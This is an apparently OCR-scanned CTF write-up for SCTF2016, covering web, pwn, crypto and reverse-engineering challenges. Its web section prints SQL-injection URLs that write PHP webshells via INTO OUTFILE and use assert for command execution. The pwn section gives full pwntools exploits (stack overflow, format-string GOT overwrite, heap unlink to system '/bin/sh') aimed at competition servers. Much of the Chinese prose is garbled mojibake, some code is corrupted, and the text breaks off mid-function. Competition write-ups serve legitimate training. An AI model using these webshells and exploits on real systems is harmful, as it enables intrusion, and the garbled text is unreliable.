91p3.space/index.php,writeup for SCTF2016

weixin 39689819 o F 2021-03-18 14:09:32 K Ai o 9411 ﬁ g
X EHRZ:  91p3.space/index.php

PENTEST
ETO(200)

B TR EHFIE T LX 4 45= =K T LR, KL xpath i A
SN G FRAEAN H SR R $2 7~ Ut R o] L2 7, T 22 B 7 Re

LA H:
RN AT E BRSNS . — RS2 Ga w i, A a — G EA RS 7L s 2mk 1= =

Homework(200)

BETFvE M — &, & R B AT BLFI B php:/filter/read=convert.base64-encode/resource="2< 13 B 1Y, & — R EM YR
. &2 7T 2 Himagecreatefromgifs s SAb B EAE A1, TR T
http://www.freebuf.convarticles/web/54086.html:, 5% & sl & 2 & A EAE & midT 1

HAEPATIE R A 4, E 2R o flag:

Sycshell(200)

WIA RSB VRS, —TF X EHindex LR PUE 1o A .. AEUEAD LR 30 P 6 55
AT Ihost 2507 1], A B 5k A, B U5 0 K & jsfuck, $6 TR 2R AT

KILH %, U5 2Z


https://blog.csdn.net/weixin_39689819
https://so.csdn.net/so/search/s.do?q=91p3.space%252Findex.php&t=blog&o=vip&s=&l=&f=&viparticle=

F%0b.1e17] LI 5¢id pass:

SRJE ks, R ILRE SO RS B T R waf:

Al LR B phar bl K ZipZE 7 AR .. KRS S st vl UL 7, N R R T, wife] 2 getshell, 3 2231 1 4 it R HLFILL &
phpinfo 2 5 2247 34

%2 % http://lwww.freebuf.convarticles/web/79830.html, 4R & £ 1 & AR, IR lyix BLAT DL ZIP2: gt e B e
AT — N Zpsh G A FA%, & Fshell:

$c=fopen("/tmp/hhh.php",'w");
fwrite($c,'<?php eval($_POSTIf]);?>");

>

DrugMarket1(300)

RIEAE— D RAUT B F PR AME, — T A A e xes, 4 R BE Tk 1 ol = =

HE R IE R shell:

SR A B b BRI AFBE. .. Jlfdt 1, X AE 238 R BLAE IX A I shell A e Al T 25 A8 ZE i T8 shell, T /2 #8 21]
W B A, A B P P A4 A T A e i AR S SN T

SR G B N drug Bl 2 B F upadte 2 xss1T #ldrug ) J& 4 LK cookie:

R RA T E SRk

H D52 B AT 6 2, 8 Ja 2707 Ui B sewaf, 28 Sel 4, K B2 4% th AT (B RE P {IF S S, [R] i ne i W )i 11 A
REZ80, T2 BB At W 1

I % payloadll M flag:



SRIGTEH Cfvps PSR LTF T

Hackme(300)
EAER H AT A, XA H Hoo A R{E3007>

FREH  RKIAFAETEN B [ A T e 3 1 A8 1111585, AT DA, 24 iinginx i) 4 ¢ H &
25 & 85 S I php KRR AT . N 45 B4 nxss VS BE 0 2 B8 7 2% 1 ok, A0 31 5 xss I 4 s 22 v, TR
1t S AT AXENE A (H 2 3, G5B AR 210 Y xss 26 132 B W0 2 22 A7, 77 10 AR Rl A2 518 26 S HE  hook 8 s 44 41, fi
I B A% ) O ORAF B 05 2 2R 1) AR EU R T R AN AT REA N T34 N A5 S5 AT 8 FA gl M FH 30 U5 2% DR AT R B 0
FRKE DR Fik M [ F)3E Fusernameflipassword, 2 J& getll A b, 15 3135 i
nizhendeyongyuancaibudaomimade, iX A& %t A1 17 SRR (181 I, 5 il A I SO T 81, 2 5 2l PR H s N
SO KIS A T AR RO E T AT L LG T AR R S YA LB . & B —>session.php,
HL L Y5 D 2 freebuffi hitp://mww.freebuf.convarticles/web/90837 .htmlix /> 3 & 48 51 7] # session, 28 J& & BisqliE
NI BT DL S B tmp H s 8, 2 5 2B php.inik Bl sessionfIAE U B A& /tmpl, =% % sessionF Al 158 4 AT 1%,
F— A Eie Pathig 42 B 1 /tmp/ 42 1 2438 21— R EN 2, spl_autoload_register<: H 3l 2: Pathif 4% H 3
R KA inc" ol "4 php", I A BhincludedE Sk, i ftmp/ H 5 32 58 4 i 1 (sqiE NS SCPF). TR E
http://hackme.sctf.xctf.org.cn/index.php?id=0.0union/*!00000select*/'<?phpr $_GET[a]($_GET[b]);r?
>'into/*111*/outfile'/tmp/albert6.phpS A\ S, 48 J5 http://hackme.sctf.xctf.org.cn/index.php?
id=0.0union/*!00000select*/load_file/*000*/('/tmp/albert6.php')isz B HHIIAN Sk T 2R 5
http://hackme.sctf.xctf.org.cn/index.php?id=0.0union(/*!11111select*/'a| O:7:"albert6":0:
{}'into/*1234*/outfile'/tmp/sess_albertchangalbertchangalbe')F i session

SR 5 T A session B i 5 &, AT 1 i)
http://hackme.sctf.xctf.org.cn/05d6a8025a7d0c0eee5f6d12a0a94cc9/main.php?
a=assert&b=%{fputs%28fopen%28base64 decode%28Yy5waHA%29,w%29,base64 decode%28PD9waHAQC
7Eweb H 5% T 4 ilc.php, #i% Nc JE i),

4 i | b

F AT phpinfo, 248 J5 2 B OO, K I AN BE s Dh B3 B S 05 waf, T & 7
http://hackme.sctf.xctf.org.cn/05d6a8025a7d0c0eee5f6d12a0a94cc9/ H 3% T 5 A.user.ini P Z¥open_basedir=/,
SRIGEE AT LB R B 7, 28— F 5 AN —A .user.iniskfE o5 _F )2 H 3¢ open_basedirf % & .

i O Y 2545 55 Bk i i glob I 45 &-file_get_contents, A 4% — N st it & Filflag

X BRI 1 flag
MISC
2 3)#(10)

ELAEM W R B R ER B AR, o o AR R



FRRAAS(200)
SRR H 2t A B R A PL0XFF OxD8JT 3k, & 482 S0 45 FE bin 5 OxXFF OxD9,#& 1| e 4 i r.Zip.

r.ziptnl PAE R VR
Him 2l B e zip R AL A, i Stegsolve R L, R IR 6 1 AR H 2 MEH T HEIE i,

FFif 22 % stegdetect.

¥ FIftp://ftp.gwdg.de/pub/linux/misc/ppdd/jphs_05.zip.

SR IG SRR, T 4675 114 . SCTF,SCTF2016,CTF,sycsecss A2k

A GEARKIRZE 2.

= 5flag:SCTF{Hacking!}

Misc300(300)

B e rpeap, i il BE T 5 & qg.exe, 1 H S5 A ssliit &

Bk RIS T AL F T N QQuchmify S 1T

BRI R Y, (B YRR TR

TR BRI AN SR 2 T SF 2 A chms £, 4T F

FHIXANqqA iH)

AR IX FpemdiE T

& wireshark HL fig 2% ssliji &

Hrp g Azip, T3 28— Ml R F

XAMlagEAB IE T #2458k f5 A N T EUn-~o

se#flag:sctf{wo_de_mi_ma_123xxo0}



PWN
Pwn100(100)
Feitt 78 sargv[1]izflag.
JHIA:
#!/usr/bin/env python2
-*- coding:utf-8 -*-
from pwn import *
import os
# switches
DEBUG =1
# modify this
io = remote('58.213.63.30',60001)
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):
return log.info(string)
# define interactive functions here
# define exploit function here
def pwn():
ru(*?")
payload = (504) * 'A' + p64(0x600DCO0)
sn(payload)

io.interactive()



return

if _name__=='_main

pwn()
Pwn200(200)
B 1 +FSB
JHIA:
#!/usr/bin/env python2
-*- coding:utf-8 -*-
from pwn import *
import os
# switches
DEBUG =0
got_overwrite = 0x0804B164
# modify this
if DEBUG:
io = process('./pwn200_bd081fbfb950838cd093174ce5e1cf78")
else:
io = remote('58.213.63.30',50021)
if DEBUG: context(log_level='DEBUG")
# define symbols and offsets here
# simplified r/s function
def ru(delim):
return io.recvuntil(delim)
def rn(count):
return io.recvn(count)
def sl(data):
return io.sendline(data)
def sn(data):
return io.send(data)
def info(string):

return log.info(string)



# define interactive functions here

# define exploit function here

def pwn():

if DEBUG: gdb.attach(io)

ru(:")

sl('2")

ru('Exitn")

sl('2")

for i in xrange(3):

ru('Protegon’)

sn('2")

sl(r'%' + str(got_overwrite) + 'c' + r'%' + '"12%$n’)
sl(r'%' + str(0x0804A08E) + 'c' + r'%' + '243n")
io.interactive()
return

if _name__ ==' main

pwn()
Pwn300(300)
e Y, O 36 HEB A A unlink Eedig £
JEIAR
#!/usr/bin/env python2
-*- coding:utf-8 -*-
from pwn import *
import os
# switches
DEBUG =0
# modify this
if DEBUG:
io = process('./pwn300_96ced8ceb93c5ddae73f8ed9d17b90ba')
else:

io = remote('58.213.63.30',61112)



if DEBUG: context(log_level="debug')
# define symbols and offsets here
# simplified r/s function

def ru(delim):

return io.recvuntil(delim)

def rn(count):

return io.recvn(count)

def sl(data):

return io.sendline(data)

def sn(data):

return io.send(data)

def info(string):

return log.info(string)

# define interactive functions here
def buy(size):

ru('Exitn")

sl('1")

ru(":')

sl(str(size))

return

def show(index):

ru('Exitn')

sl('2")

ru(:")

sl(str(index))

return rn(0x100)

def edit(index,content):

ru('Exitn")

sl('3)

ru(:")

sl(str(index))



ru(:")

sn(content)

return

def delete(index):

ru('Exitn")

sl('4")

ru(:")

sl(str(index))

return

ptr = 0x08049D80

# define exploit function here

def pwn():

if DEBUG: gdb.attach(io)

buy(256)

buy(256)

buy(256)

PAD_SIZE = 260

payload1 = PAD_SIZE *'A' + p32(0x109+8)
edit(0, payload1)

fakechunk = p32(0) + p32(0x81) + p32(ptr-4) + p32(ptr) + Ox70*'A' + p32(0) + p32(0x80)
edit(2, fakechunk)

delete(1)

payload2 = 4*A' + p32(0x08049D18)
edit(2, payload2)

buf = show(0)

free_addr = u32(buf[0:4])

libc_addr = free_addr - 0x00076¢60
offset_system = 0x00040190
system_addr = libc_addr + offset_system
edit(0, p32(system_addr))

edit(1, /bin/shx00')



delete(1)
io.interactive()
return

if _name__ =='_main

pwn()
CODE

Code100(100)
X H O IE T .

4t openssl rsa -in public.key -pubin -modulus -text/; fi# ttin,e , 2 5 yafuHfactorfb /7y thq,p, fif Frsatools. py £ ik
L4

XA B OS5 A R

BRI A, MR, FRE RS FE % n,e,yafu ) i, i rastools4: % #A £, 0penssl rsautl -decrypt -in
level2.passwd.enc -inkey private2.pem -out /tmp/passwd2 && cat /tmp/passwd?2 fi# 2 153 2 %15 2, 5% 4 3[F

fift [k e J5 15 £flag: SCTF{500_sl,pLE_tRE1S7Re_iN_rSa_AtTa3K_2_24CASF}

B b i1

Code150(150)

SRR XN E . o o FAMET R BT LN AFBIAMETR TR o o FATHRdrf 2 AR 2
EAgediy T e o 3T, T NAZE AR A TEC A DI, LCRT (9 B A 56 A+ A i T LUK 8 5 RE 4
B (HRBATADREAL K 1 g ie i b

(©O_O)b

HEZ 1000, KL — NN RE i, B 5 T — Nk Ffactor ) 7 il B EU Python i AR 783 5 i 25 5% 1 —
ANBARZIR S 4 LB R A AT M R — A



2082336911455626076291358884447186972576298581221598799386778363005142024105791238505548

1222818722210917739238420912585314719488861203362844825556051676838296900731108986732607

*

1702899108128354650963385429974774873594357986416933811252769120706025487113282191900929

4 i 3
TAAT LS WA T
import gmpy

p=12228187222109177392384209125853147194888612033628448255560516768382969007311089867326

< | T | 3

q=17028991081283546509633854299747748735943579864169338112527691207060254871132821919009

4 | I | 3

e=65537

n=20823369114556260762913588844471869725762985812215987993867783630051420241057912385055

‘ i v
print n==p*q

phi = (p-1)%(g-1)

d = gmpy.invert(e, phi)

c=0x68d5702b70d18238f9d4a3ac355b2a8934328250efd4efda39a4d750d80818e6fe228ba3af471b27cc529a4

< | T | 3

msg = pow(c, d, n)

print msg

print ('0' + hex(msg)[2:]).decode('hex)
#sH1R3_PRIME_1N_rsA iS_4ulnErable

BRBAE 2 5 5 Rk 15 #flag :SCTF{500_mAtI4E_TrE1SUre_ILn_rSA a55aCk_3}

A Je TR X A3 i R R 2 5 BRI T I AE — S A 2058, o2 Ui, 1S H L SR fa g . A
XA, BHAE I Pythonffiged st v LA i H R —n SR JE st R 1 ER AL 1. o o BN RHB R
EHIFATIER. © o .

Code300(300)

AW

5

TS B — AU 2 vh A A NG R RS T ELINn S A 5%, 3T HORHEE 20 AH ]

n] 47 Coppersmith’s Short Pad attackfl Franklin-Reiter related messages attack
22 http://mslc.ctf.su/wp/confidence-ctf-2015-rsa1-crypto-400/

FE AN



from sage.all import *
e=3

n1=2535790118917273314962533239153706457826500324991781768286412066389833651092211325839

4 (L F

C1=2116619863711979901801620429525053616691585663891940526184091531498804287343262051857

< | T | 3

C2=2116619863711979901801620429525053616691585663891940526184091531498804287343262051857

4 | I | 3

PRxy. = PolynomialRing(Zmod(n1))

PRx. = PolynomialRing(Zmod(n1))

PRZZ. = PolynomialRing(Zmod(n1))

g1 =x"e-C1

g2=(x+y)*e-C2

g1 = g1.change_ring(PRZZ)

g2 = g2.change_ring(PRZZ)

h = g2.resultant(q1)

# need to switch to univariate polynomial ring
# because .small_roots is implemented only for univariate
h = h.univariate_polynomial() # x is hopefully eliminated
h = h.change_ring(PRx).subs(y=xn)

h = h.monic()

roots = h.small_roots(X=2**40, beta=0.3)
assert roots, "Failed1"

diff = roots[0]

if diff > 2**32:

diff = -diff

C1,C2=C2,C1

print "Difference:", diff

#x = PRx.gen() # otherwise write xn

#x=1002

X=Xn

g1 =x"e-C1

g2 = (x + diff)**e - C2



#gcd

while g2:

g1,92=92,91 % g2

g = g1.monic()

assert g.degree() == 1, "Failed 2"

#g=xn-msg

msg = -g[0]

# convert to str

h = hex(int(msg))[2:].rstrip("L")

h="0"* (len(h) % 2) + h

print "h.decode("hex")’

3 2|F4An8LIn_rEIT3r_rELa53d _Me33Age aTtaCk e [2 _s7aP6
% Z:userid v
F4ANn8LIn_rEIT3r_rELa53d_Me33Age_aTtaCk e [2_s7allL
BENEE R

S B MR B BT, 2%
http://codezen.fr/2014/01/16/hackyou-2014-crypto-400-cryptonet/
SE A

from struct import pack,unpack

import zlib

import gmpy

def my_parse_number(number):

string = "%x" % number

#if len(string) != 64:

# return
erg = ]
while string ="

erg = erg + [chr(int(string[:2], 16))]
string = string[2:]

return ".join(erg)

def extended_gcd(a, b):



xy=0,1

lastx, lasty = 1, 0

while b:

a, (g, b) = b, divmod(a,b)

X, lastx = lastx-q*x, x

y, lasty = lasty-q*y, y

return (lastx, lasty, a)

def chinese_remainder_theorem(items):
N=1

for a, nin items:

N *=n

result=0

for a, nin items:

m= N/n

r, s, d = extended_gcd(n, m)
ifd!=1:

N=N/n

continue

#raise "Input not pairwise co-prime"
result += a*s*m

return result % N, N
sessions=|[

[217788166224070432542490337445564377731787183441709076870353557523062541814952722543163:

(L L3

0x36a66571751faf3bbfoad760adbcd1be123d2ab526d2fbf6697ec38c7d4ee7d709d8ab3f154092410f46ae18ac

4 | I | 3

[169031967465349767702971935915631188193409963263532789269328947745728754450742356335982:

4 (L 3

0x51bd5b18e527dc109cd202f39841bb39422dcc1f566f59dadc623d7166730dded90963c825ba6300c0dab1811

< | i | 3

[282652806131833543421057531669963280905463894930995766710643329055060431496458943595295:

4 (L F

0x8df94ca10d136659aab94677d5826184addcef8cc563009822519b157¢368d17434b9b6fa08ad783003d0aafc

< | i | 3




[249871278994774650122512337434932535364768544956371785991920502253131022194 11387898487 2(

4 (L 2

Oxbe73713e7928b1970d6dd531e0c9a6a3884bef82c3a39a043f226e88cfe54a3dc28c515893463e1039a14e49

< | T | [

[206905885437593384592012611021315235576029518586210223527688784957647728180474445610859¢

(L k

0x321516de98f8d6584adb01d5783d13cee2daf74f2285c693debe3a264c0b9a637b42¢c17a61a3870c70acdfdch

< | T | [

[165171020810528616308959190012176755266982773693005917118660491025739036413380886514653¢

4 (L 2

0x52cc422ae1012a854e0d29b9b1dabe68ef3a3fa6b8d7551¢1c664875e277149411244279eddcfO656fe182c4k

< | T | [

[238468602902790929075724440795396174622143542397822366297590707735139735254148003136191«

a4 (L k

0x7a4c0c06b31aa9be92dfcc10af0b4d99429bd0d2465d43c56e7488136db91347f7e40213e82b5bbcafee44961

4 | 1 | 3

[175667012824562585037086474045580415793767534166368959216245746766791017240336232733141°

a4 (L k

0x3fc5f6519¢c720d08da16c2df2112ba76d718329a8a8cdcace3bc2b07d603cad7e492ce13ce537bddef922ee8fe

4 | T | 3

[162531213837682782090055585770556445691177071248549291866671283106064933150134498589026°

a4 (L k

0x6db31ceb29ff59c5e2a06cee7c7ff63b2605297a359¢c87edd61d144285a99¢ch22a311a75dbe8d5a1a7fdcc8eef

4 | T | 3

[202903090219761813781500790706473628773610516421168840206983105824043484263653493498309:

a4 (L k

Ox47fc4dec774af58a10a86f32aca278b7333e2a203f32d1c3829f77ee1cadbb26967d46f2501ebf00f1b7d 18324

4 | I | 3

[202594075225051143524380667900311891616927624997839181506153202030400606136516700313630(

a4 (L k

0x3879320d2b72a7d476f911a621a2cde56cb4f11bf6f2092a1d0e37732e39587ea5¢c8cc8012b865315823bb09<E

4 | T | 3

[243182937393083472130792409313188976294757580076369538456974239730477609748968217307 168

a4 (L k

0x3744c133e79ad8c24d42c184ef789b2e8f98a436413a1759a3d3877a7be779d20237ca9f8795da75101b58f67

4 | T | 3

[167673695916764715374112831055606920971068566894021318019722157926164081345599767717431<

(L k

0x80e66bec156f4f23de053a26b431b5c9403b866b9e3db1bff70294fa02b9e2b190784b2c00a80b8cat8adala3

< | T | [

[216486835029989847058660454845449476411000498727139300008634617841929717143834053827293¢

4 (L 2

0x32519d4dcbe20762cd311f137403d55f2991779a869854303a92937f1c0ac2b3c8de9462335fbdfcfc80a2d499

< | i | [




[207247671387674807894989942981802708264748673402640492601637858929074304028042180920223:

4 (L 2

0x4e4196a7b0c663ed59ad6674fd59f2a26f9e48e10fcc360d78cb35b5dd641402b32a39e828925b0155eb9f814

< | T | [

[172122954396403770556882179799849661885852990168733592347290844931843046256289684 727230(

(L k

0x299118bc357f5e546d46209bb096684e336e€29225c2a214537d3a0e0368537e0dfd6780c2890ef87766679e

< | T | [

[234720847453045374389050715292630245197228892770358964766832275777708195448185960320607¢

4 (L 2

0xac28242337642cabf950162a965ab69d9f2e2858e732cb0c97bfeecbc965670dacda76edb6e591e07bab71eet

< | T | [

[1696645171280940557001973170044170865811715752217203760221525353884 770415603444 72433089¢

a4 (L k

0x19d171bf0005dc1f4d11f80d598687610cc6c062a1d2ace2b2e835f528117df7ccc873553bc413b603¢160533¢E

4 | T | 3

[163717728654828698864875457518759187202273494103508985232613379024330077607249601340706¢

a4 (L k

0x3d81bd9c0aa88ebbbafec40e4198f2c55d56575914d1a7aa81dfb0256b9429f7bcf5a3c7ec01a098a0af98e01€

4 | T | 3

[1873946751184898813131588312812220673614667209707055700440507716487194341449254279336754

a4 (L k

0x49ffc1accb080b62290fb874f49e7f335d7b8528439118ee0af2644375368e9039da303a9d9147130a231478a:

4 | T | 3

[241443417861299541047660795817335373308371026205071118699132902429097226659097323136934:

a4 (L k

0x67962b2d35ad0157a54fc22d839fd73b09e51533132ab398f3d1d875d8e1939788¢c72b715eaf91888f0d34fd5(

4 | T | 3

[162470406799200314416641014505492248469152671280120381601698099880225290232603602389099¢

a4 (L k

0x144585e5cd2b72208d7462bc84f4de80f3ce6d97071cb0476143c12f6ebe44e48f324b4461fe7ad24361bfb6d:

4 | T | 3

[185510126551679264643877702330509920412798469895288638341611028014615259090416868432849:

a4 (L k

0x6ad6572818211ca2d1448d6cac860de2cb02e03c65f0351552801b722e4e423f5217773ec31571729¢cb20283

4 | T | 3

[229700541629391183624454619063859014392218330490692907647264584039818815909114089850710¢

(L k

0xa9e70e690c9c8e694935251b7f4c07012190aafbbbdbe81456258abf4d490fa2d42bdf56f7012fa3b1714cd19b

< | i | [

[183858204907564986308450996373858845262896333566240612547871686904019699314846814611882¢

4 (L 2

0x2e2e5bae9239315b08b9e7df8dcc04ce3dd490a337b5de84b9901f3691854b2e854cdbbb983cef522dce64bdt

< | T | [




[302819163881286718706083581275355085972532568489161665713879283249689344830799798829589:

4 (L F

0Ox1c78ed0ac3656077c3a47c2430d0183cca199670af2aa8192e555a3c0ae2e83946172ee821361cc9570aeb6¢

< | T | 3

[293027419209309717159589629315736930592145181756829727604304429922807188629160196216461¢

(L F

Oxdefd52684b8ff42585141f2fde551200860d69ff86¢c2f05f130f6978952fa0eca4515e60fc81c1d9388bdadbaf85e

< | T | 3

[180026777427769084915288202337986987161070117995078611131243724958255158332147815801400¢

4 (L F

0x5f76fe81f0136f3855d9f1923e0cee1f768b25effd54fec7e1438425ea744b85aa19c9e2e8e175ad43d1da%ea86

< | T | 3

[173856909675048746590812858077369465588022442880415170421081876727173793291783344961131¢

a4 (L L3

0x869f17d7e1450b0540ec2df5d4 3f6f82a246ced4b8287352580f77615721bd10b3a7f7c7cb83d63fec965c1adfc

4 | T | 3

[214467774153511301472050798968125561447603411319803284574792110039200735472605398427985°

a4 (L L3

0x24e479052ff3ee7db3b88eaac7072d86f2cbb7e5b3c583d66ed21dd5248529aebe30e45f2159dcf1119f7fd52b

4 | T | 3

]
data =[]

for session in sessions:

e=19

n=session[0]

msg=session[1]

data = data + [(msg, n)]

print "-" * 80

print "Please wait, performing CRT"

X, n = chinese_remainder_theorem(data)
e=19

realnum = gmpy.mpz(x).root(e)[0].digits()
print my_parse_number(int(realnum))
REVERSE

Reverse100(100)

PSR PN GvAS SN - B A o R o QT N BTl P s e A D (S



gt (i

B e RS

= 3flagifLig
#include
#include

void main() {

unsigned char cipher[19] = { OXBC, OxEE, Ox7F, 0x4F, Ox3F, 0x53, OxFA, OxF8, 0xD8, OxE8, 0x5E, OxCE, 0x70,

< | i

for (intj=0;j

if  &1){

for (unsigned chari = 32; i
unsigned char input = i;
input = (input >> 7) | 2 * input;
input A= 0x24;

if (input <= 0x63)

input +=9;

if (input == cipherf[j]) {
printf("%c", i);

}

}

}

else {

for (unsigned char i = 32; i
unsigned char input = i;

input += 10;

input = (input >> 3) | 32 * input;
input A= 0x17;

if (input > 0x2D && input <= 0x37) {
input += 20;

}

F



if (input == cipher[j]) {
printf("%c", i);

}

}
Flag:SCTF{Se9177entf@u1t_s73}

Reverse150(150)

XS N\ finamefil 1 DESHNE 94 5 xf keyfileidf AT RSAMAE 55 LLEBUBATTINE /2 f AH 4%

FATH B 2 2 BInamefit DESINE J& 1 %5 5T, F RSAINE 1 22 B e 2: 47 I sh v] LA15 Sl keyfile, DESHN % J5 1
% CA] LS B AR 2, s E 2 )RR AR C A 1AV H2PRIVATEKEYBLOB#S U
f],google 1 — %, ] LL5E F http://www.jensign.com/JavaScience/PvktoJkey/MSPrivKeytoJKey.javaitt
PRIVATEKEYBLOBH# 5% #t yPKCS#8#% =, Fi H
http://www.jensign.com/JavaScience/PvkConvert/PvkConvert.txtf3 #|PUBLICKEYBLOB# =¥ A £H, i J& X AT &
name ) DES# i3t 1T RSANNZ w15 2 1 keyfile, it i & A4 ki keyfileF AN ge A 0735 ARSI R

#include

#include

#include

using namespace std;
void main() {

unsigned char cipher[30]
[16] = { { 0x93, Oxc6, Oxb5, Oxc3, Oxe0, 0x35, 0x2d, Oxaf, Oxa3, 0x48, Ox6e, Ox41, 0x44, Oxab, Oxe1, 0x3c },

{ Ox7d, Oxa7, 0x85, 0x29, Oxa1, 0x56, Oxb8, 0x53, Oxe1, Oxda, Ox11, 0x6, 0x12, 0x58, Oxad, Oxaf },
{ Oxd4, Oxc2, 0x3, 0x36, 0x50, 0x94, 0x3d, 0x75, 0x67, 0x74, 0x3f, Ox1e, 0x17, 0x76, 0x2d, Oxd1 },
{ 0x37, Oxa7, Oxbe, Ox1d, Ox5d, Oxb1, 0x84, 0x6a, 0x2d, Oxaf, 0x3c, 0x9, Oxe4, 0xf4, Oxd, 0x65 },

{ 0x13, 0x21, 0x49, Oxbe, 0x19, 0x9e, 0xab, 0x59, Ox1b, 0x2d, 0x22, 0x6f, Oxd1, 0x76, 0x99, Oxaa },
{ Ox8b, 0x17, 0x43, 0xc8, Oxbb, Oxa, 0x23, Oxcb, 0x94, Oxc, Oxfb, 0x67, 0x3a, 0xf0, 0x54, Ox4c },

{ Oxae, Ox7a, Ox7a, 0x6a, 0x89, 0x2c, Oxbf, 0x33, 0x68, 0x47, 0x90, 0x25, 0x9a, Oxc5, Ox5e, Oxeb },
{ Oxe0, 0x3, Oxa5, 0x9a, 0x73, Oxbf, 0x24, 0x77, Oxcd, 0x99, Oxa1, Oxb7, 0x65, 0x64, 0x9b, 0x57 },
{ 0x46, Ox4d, Oxa6, 0xd0, 0x24, Oxbc, Ox6f, 0x24, 0x20, 0x2d, Oxdf, Ox6e, 0xa8, 0x44, 0x9d, Oxb7 },

{ 0x82, Ox6e, Oxe5, 0x11, Oxda, 0x58, Oxaf, Ox4e, Ox4, 0x92, Oxa4, 0x68, 0xe6, Oxfc, 0x38, 0x6f },



{ 0x17, 0x2d, 0x13, Oxb, 0x7, 0x24, 0x42, 0xc3, Oxe1, Oxde, 0x51, 0x30, Ox2f, 0x60, 0xf2, 0x9d },

{ Oxfe, Ox6f, Oxf, Oxa7, 0xb9, 0x7a, 0xf4, 0x97, 0x74, 0x82, 0x8f, Oxd3, 0x52, Oxa4, Oxbd, Oxaf },

{ 0x30, 0xb2, Ox1b, Oxef, 0x4, Ox64, Ox6a, 0x72, Ox4a, Ox8f, 0xa0, 0x24, 0xc8, 0x9a, 0x4f, Oxbc },

{ Ox7c, Oxac, Oxe7, Oxac, 0x11, Oxd1, Ox41, Ox5d, Oxf4, 0x88, Oxa6, Oxab, 0x94, 0x64, Oxde, Ox9f },
{ Ox6f, Ox6d, Ox5d, 0x65, Oxa, Ox7, 0x77, Ox4d, Oxf, Ox64, Oxa7, 0xf5, 0x91, 0x74, 0xd4, 0x1 },

{ Oxde, 0x2, Ox1c, Oxe5, Oxeb, 0x9b, Oxa, Oxca, Oxed, 0x93, 0xc9, 0x20, Oxb5, Oxc1, Oxe5, Oxbf },

{ Oxdb, Ox1e, 0x44, 0x50, 0x88, Ox1c, Oxeb, Oxdb, 0x3c, 0x7b, 0x15, 0x1, Ox4a, 0x20, 0x82, 0x62 },
{ Oxe8, Oxea, Ox4f, Ox8f, 0x45, 0x30, 0x31, Oxd7, Oxac, Oxfa, Oxb6, Oxed, Ox1b, 0x30, 0x6b, 0x38 },
{ Oxf2, OxBb, 0x59, Oxb3, Oxdf, 0x7d, 0x9d, Oxa3, 0x13, 0xc2, 0x4d, Oxfc, Oxb, 0x43, OX77, Ox6f },

{ 0x73, 0xc5, 0x49, 0x0, Ox1e, 0x2d, 0x7e, 0x23, 0x58, 0x70, 0x19, 0x8d, 0x90, 0x31, Ox5f, 0x88 },
{ Oxdb, 0x2c, Oxac, Oxc4, 0x9d, 0x12, Oxb4, 0x92, Ox6b, Ox1a, 0xa8, 0x85, Oxbe, 0x34, Ox2e, 0x8e },
{ 0x55, Oxe, Oxdc, Ox5e, Oxb7, 0x74, Oxda, 0xf8, 0x17, Ox5f, Ox1b, 0x77, Oxa4, 0x72, O0xc5, Ox8e },
{ Oxe7, Oxb1, 0x29, Oxe2, 0x3, 0xf5, 0x92, 0x9f, 0x7c, 0x9d, 0x6¢c, Oxd, Oxb3, Ox5a, 0x38, Oxde },

{ Oxde, Oxfc, 0x71, Ox4e, 0x86, Oxe1, 0x36, 0x29, Ox4e, 0x19, 0x68, Ox2f, Oxfc, 0x66, 0x92, 0x50 },
{ Oxb7, Oxdc, 0x87, 0x8, Oxce, 0x4, 0xd0, 0xc3, 0x70, O0xb0, Ox4c, 0x43, 0x62, Oxda, 0x5b, Ox87 },
{ Ox6a, 0x45, Ox7a, 0x27, O0xe0, 0x2a, 0xf6, 0x7, 0x70, 0x12, Ox7c, 0x28, 0x8f, 0x15, Oxd2, 0x2f },

{ OxfO, Oxf, Oxf7, Oxbd, 0x92, Oxa, 0x13, 0x54, Oxa7, Ox1d, Ox5b, 0x74, 0x67, Ox4a, 0x17, 0x42 },

{ 0x81, 0x63, Oxcc, 0x58, Oxb6, 0x92, 0xb2, 0x51, 0x16, Oxd2, Oxcd, Oxe4, 0x24, Ox3c, 0xfd, Ox57 },
{ 0x9, 0x59, 0x13, Oxbd, Ox1a, 0x8c, Oxe4, Oxbb, Ox1d, Oxf4, Oxad, 0x46, Oxc6, Oxbd, Ox7a, 0x25 },
{ Ox76, Oxff, Oxa8, Oxaf, Oxe1, Oxe, 0x42, 0x37, 0x59, Oxb4, 0x5f, 0x78, Oxb, 0x48, Oxe1, Oxa7 } };
for (inti=0;i

HCRYPTPROV phProv = 0;

HCRYPTKEY phKey = 0;

DWORD len = 16;

unsigned char text[128] = { 0 };

memcpy(text, cipherfi], 16);

unsigned char pub_key[148] = {

0x06, 0x02, 0x00, 0x00, 0x00, OxA4, 0x00, 0x00, 0x52, 0x53, 0x41, 0x31,

0x00, 0x04, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, OxF7, 0x4A, 0x9D, 0x9B,

OxAA, 0x80, 0x5A, 0x89, 0x8C, 0x00, 0x0A, 0x7B, 0xE2, OxDC, 0x59, 0x9D,

Ox3E, 0xF1, 0x9D, 0x10, 0x33, 0xD8, OxF6, OxAS5, 0x60, 0xC3, 0x20, OxBA,



0xC7, 0x21, 0x80, 0x08, 0x53, 0xDB, 0x5E, 0x60, 0x05, 0x65, 0xDO, OxF5,
0x88, OxA4, Ox0C, 0x76, 0x8D, 0x42, OxEF, 0x27, OxDB, 0x83, 0x79, 0xD7,
OxCC, 0xDB, 0x43, 0x9F, Ox7E, OXDF, OxCA, 0xC3, 0x62, 0x46, 0xD8, 0x3C,
OxEA, 0x8D, 0xD4, 0x48, 0x04, 0xC0, 0xC7, 0xD9, 0xD3, OxFF, 0xBO, OxF5,
0x0C, 0x0OD, 0x82, OxDE, 0x6D, 0x0B, 0x20, 0xCB, 0x8C, 0x79, 0xAD, 0x98,
OxFE, 0x32, 0xC4, 0x9F, 0x19, OxE1, OxDA, 0x16, OxFE, OxDA, Ox5E, 0x52,
OxE4, OxBF, OxC5, 0x2F, 0x06, 0x32, 0x73, 0x1A, OxDF, 0xC5, 0x56, 0x37,
OxFC, 0xCO0, 0xAB, 0x40, OxBE, 0x0B, 0x66, Ox6E, 0xA2, 0x74, 0x06, 0x66,
OX7E, 0x42, 0xCD, 0xD9

3

if (CryptAcquireContext(

&phProv,

NULL,

"Microsoft Enhanced Cryptographic Provider v1.0",

PROV_RSA FULL,

CRYPT_VERIFYCONTEXT)) {

